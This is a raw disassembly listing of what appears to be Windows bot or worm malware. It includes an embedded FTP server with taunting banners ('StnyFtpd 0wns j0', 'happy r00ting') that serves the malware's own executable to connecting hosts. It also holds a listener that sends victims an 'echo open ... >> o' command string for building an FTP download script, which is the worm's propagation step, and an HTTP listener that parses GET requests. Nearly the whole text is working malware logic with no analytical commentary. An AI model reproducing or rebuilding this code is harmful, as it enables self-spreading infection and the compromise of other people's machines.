; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F0EC proc near ; DATA XREF: .packed:0042900Co
jmp $+5
sub_40F0EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F0F1 proc near
push 0FFFEh
push 400h
call sub_418BD1
pop ecx
mov dword_4CE720, eax
pop ecx
retn
sub_40F0F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4CB9E4 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CBA64 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F1AF
cmp [ebp+var_1C], ebx
jnz short loc_40F18F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F18F: ; CODE XREF: sub_40F108+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_40F1AF: ; CODE XREF: sub_40F108+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_43E92C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA10 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F2AA
call dword_4CB978 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F22F
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F20F
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F20F: ; CODE XREF: sub_40F108+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_40F22F: ; CODE XREF: sub_40F108+DEj
push 0FFFEh
push ebx
call sub_418BD1
pop ecx
mov dword_4CE720, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4CBA10 ; bind
cmp eax, esi
jnz short loc_40F2AA
call dword_4CB978 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F28A
cmp eax, 2740h
jz short loc_40F28A
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F28A: ; CODE XREF: sub_40F108+159j
; sub_40F108+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_40F2AA: ; CODE XREF: sub_40F108+CDj
; sub_40F108+14Cj
push 5
push edi
call dword_4CBA0C ; listen
cmp eax, esi
jz loc_40F38F
mov [ebp+var_4], 10h
mov esi, offset byte_429110
loc_40F2C7: ; CODE XREF: sub_40F108+1D7j
; sub_40F108+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CBA78 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F2C7
cmp [ebp+var_1C], 0
jnz short loc_40F308
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F308: ; CODE XREF: sub_40F108+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F2C7
push esi
push esi
push dword_4CB720
push [ebp+var_B0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F2C7
inc dword_4CE728
jmp loc_40F2C7
; ---------------------------------------------------------------------------
loc_40F38F: ; CODE XREF: sub_40F108+1ADj
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_AC]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_40F108 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call dword_4271D8 ; WSAStartup
push esi
push ebx
push 2
call dword_427204 ; socket
mov esi, dword_4271DC
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call dword_4271E0 ; ioctlsocket
mov ax, word ptr dword_4CB720
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CB9E4 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_4271E4 ; bind
test eax, eax
jge short loc_40F470
mov eax, ebx
jmp loc_40F9B8
; ---------------------------------------------------------------------------
loc_40F470: ; CODE XREF: sub_40F3AA+BDj
push 0Ah
push edi
call dword_4271E8 ; listen
mov [ebp+var_22C], ebx
mov ebx, dword_427208
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj
; sub_40F3AA+606j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_42720C ; select
cmp eax, 0FFFFFFFFh
jz loc_40F9B5
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F48E
loc_40F4C9: ; CODE XREF: sub_40F3AA+600j
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz loc_40F9A3
cmp edi, [ebp+var_8]
jnz short loc_40F580
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call dword_4271EC ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F9A3
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F54A
lea edx, [ebp+var_228]
loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej
cmp [edx], eax
jz short loc_40F54A
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F53A
loc_40F54A: ; CODE XREF: sub_40F3AA+188j
; sub_40F3AA+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F568
cmp [ebp+var_22C], 40h
jnb short loc_40F568
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F568: ; CODE XREF: sub_40F3AA+1A6j
; sub_40F3AA+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F570
mov [ebp+var_4], eax
loc_40F570: ; CODE XREF: sub_40F3AA+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F580: ; CODE XREF: sub_40F3AA+15Aj
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_4271FC ; recv
test eax, eax
jg short loc_40F5E7
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F5DB
lea eax, [ebp+var_228]
loc_40F5A7: ; CODE XREF: sub_40F3AA+207j
cmp [eax], edi
jz short loc_40F5B5
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F5A7
jmp short loc_40F5DB
; ---------------------------------------------------------------------------
loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F5D5
lea eax, [ebp+ecx*4+var_228]
loc_40F5C1: ; CODE XREF: sub_40F3AA+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F5C1
loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej
dec [ebp+var_22C]
loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j
; sub_40F3AA+209j
push edi
call dword_427200 ; closesocket
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41CCE3
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41CA50
add esp, 18h
test eax, eax
jnz short loc_40F62B
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F62B: ; CODE XREF: sub_40F3AA+272j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F64C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F64C: ; CODE XREF: sub_40F3AA+296j
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F66D
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F68E
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j
lea eax, [ebp+var_B0]
push offset off_434934
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6B3
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj
; sub_40F3AA+2A0j ...
push edi
jmp loc_40F98C
; ---------------------------------------------------------------------------
loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj
; sub_40F3AA+336j
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F726: ; CODE XREF: sub_40F3AA+356j
; sub_40F3AA+36Dj
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F771
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F764: ; CODE XREF: sub_40F3AA+406j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
jmp loc_40F98E
; ---------------------------------------------------------------------------
loc_40F771: ; CODE XREF: sub_40F3AA+391j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7B2
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F764
; ---------------------------------------------------------------------------
loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F883
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CCE3
lea eax, [ebp+var_FC]
push eax
call sub_41C159
mov edi, eax
lea eax, [ebp+var_2D4]
push eax
call sub_41C159
mov [ebp+var_C], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BF70
add esp, 34h
lea eax, [ebp+var_FC]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41C266
push 10h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41C7A5
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41C266
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F883: ; CODE XREF: sub_40F3AA+41Dj
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F96A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F9BF
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F960
cmp [ebp+var_444], esi
jnz short loc_40F8ED
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej
call sub_40FA3C
cmp eax, 1
jnz loc_40F98E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset dword_4347A0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F94B
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj
lea eax, [ebp+var_8E0]
push eax
call sub_415D38
inc dword_4CE4F0
pop ecx
jmp short loc_40F98E
; ---------------------------------------------------------------------------
loc_40F960: ; CODE XREF: sub_40F3AA+512j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F989
; ---------------------------------------------------------------------------
loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F98E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F989: ; CODE XREF: sub_40F3AA+340j
; sub_40F3AA+377j ...
push [ebp+arg_0]
loc_40F98C: ; CODE XREF: sub_40F3AA+304j
call ebx ; send
loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j
; sub_40F3AA+54Bj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40F9A3: ; CODE XREF: sub_40F3AA+151j
; sub_40F3AA+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F4C9
jmp loc_40F48E
; ---------------------------------------------------------------------------
loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj
push 1
pop eax
loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4271D8 ; WSAStartup
push 0
push 1
push 2
call dword_427204 ; socket
push [ebp+arg_0]
mov dword_4CE72C, eax
mov [ebp+var_10], 2
call dword_4271F0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4271F4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4CE72C
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE72C
call dword_427200 ; closesocket
call dword_4271D4 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: sub_40F9BF+60j
push 1
pop eax
leave
retn
sub_40F9BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: sub_40FA3C+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4CE72C
call dword_427208 ; send
push 1
call dword_427080 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj
push esi
call sub_41BA3B
pop ecx
push dword_4CE72C
call dword_427200 ; closesocket
call dword_4271D4 ; WSACleanup
push 1
pop eax
loc_40FAD3: ; CODE XREF: sub_40FA3C+35j
pop esi
leave
retn
sub_40FA3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9E4 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA64 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E92C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA10 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CBA0C ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA80 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9CC ; select
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8D0 ; __WSAFDIsSet
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA78 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9FC ; recv
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA7C ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC8 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349F4 ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
